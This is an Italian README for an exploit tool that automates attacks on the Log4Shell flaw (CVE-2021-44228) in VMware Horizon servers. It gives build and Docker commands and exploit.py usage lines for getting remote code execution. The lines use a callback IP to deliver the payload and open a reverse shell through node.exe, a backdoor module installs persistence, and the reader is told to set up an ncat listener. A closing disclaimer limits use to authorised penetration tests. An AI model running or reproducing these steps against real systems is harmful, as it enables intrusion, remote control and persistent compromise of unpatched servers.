
Sfruttando CVE-2021-44228 in VMWare Horizon per l'esecuzione remota di codice e altro.
Sfruttamento di CVE-2021-44228 in VMWare Horizon per l'esecuzione remota di codice e altro.
Il codice e il README.md questa volta sono un po' sparsi. Aggiornamenti in arrivo!
Le proof of concept per questa vulnerabilità sono sparse e devono essere eseguite manualmente. Questo repository automatizza il processo di sfruttamento. Consulta il post del blog sopra per indicazioni sulla post-esplorazione.
Questo repository può essere utilizzato manualmente o con Docker.
Per scaricare ed eseguire l'exploit manualmente, esegui i seguenti passaggi. Innanzitutto, assicurati che Java e Maven siano installati sul tuo host attaccante. Per farlo usando apt su sistemi operativi basati su Debian, esegui il seguente comando:
apt update && apt install openjdk-11-jre maven
Clona il repository GitHub e installa tutti i requisiti Python:
git clone --recurse-submodules https://github.com/puzzlepeaches/Log4jHorizon \
&& cd Log4jHorizon && pip3 install -r requirements.txt
Dalla radice del repository Log4jHorizon, compila il progetto Rogue-Jndi usando il comando seguente:
mvn package -f utils/rogue-jndi/
Innanzitutto, assicurati che Docker sia installato sul tuo host attaccante. (Non ti guiderò passo passo su come farlo)
Successivamente, esegui il seguente comando per clonare il repository e creare l'immagine Docker che useremo.
git clone --recurse-submodules https://github.com/puzzlepeaches/Log4jHorizon \
&& cd Log4jHorizon && docker build -t Log4jHorizon .
Per eseguire il container, esegui un comando simile al seguente con i tuoi flag da riga di comando aggiunti. Nota che il container non catturerà una reverse shell. Devi creare un listener ncat in una sessione di shell separata:
docker run -it -p 1389:1389 Log4jHorizon \
-r -t horizon.acme.com -i 192.168.1.1 -p 4444
usage: exploit.py [-h] -t URL -i CALLBACK [-p PORT] [-r] [-b]
optional arguments:
-h, --help show this help message and exit
-t URL, --target URL VMWare Horizon IP
-i CALLBACK, --ip CALLBACK
Callback IP for payload delivery and reverse shell.
-p PORT, --port PORT Callback port for reverse shell.
-r, --revshell Module to establish reverse shell using node.exe.
-b, --backdoor Module to add backdoor.
Ottieni una reverse shell usando lo strumento installato sul tuo sistema locale:
python3 exploit.py -r -t horizon.acme.com -p 442 -i 192.168.1.1
Questo strumento è progettato per l'uso durante test di penetrazione; l'utilizzo di questo strumento per attaccare target senza previo consenso reciproco è illegale. È responsabilità dell'utente finale rispettare tutte le leggi locali, statali e federali applicabili. Gli sviluppatori non si assumono alcuna responsabilità e non sono responsabili per qualsiasi uso improprio di questo programma.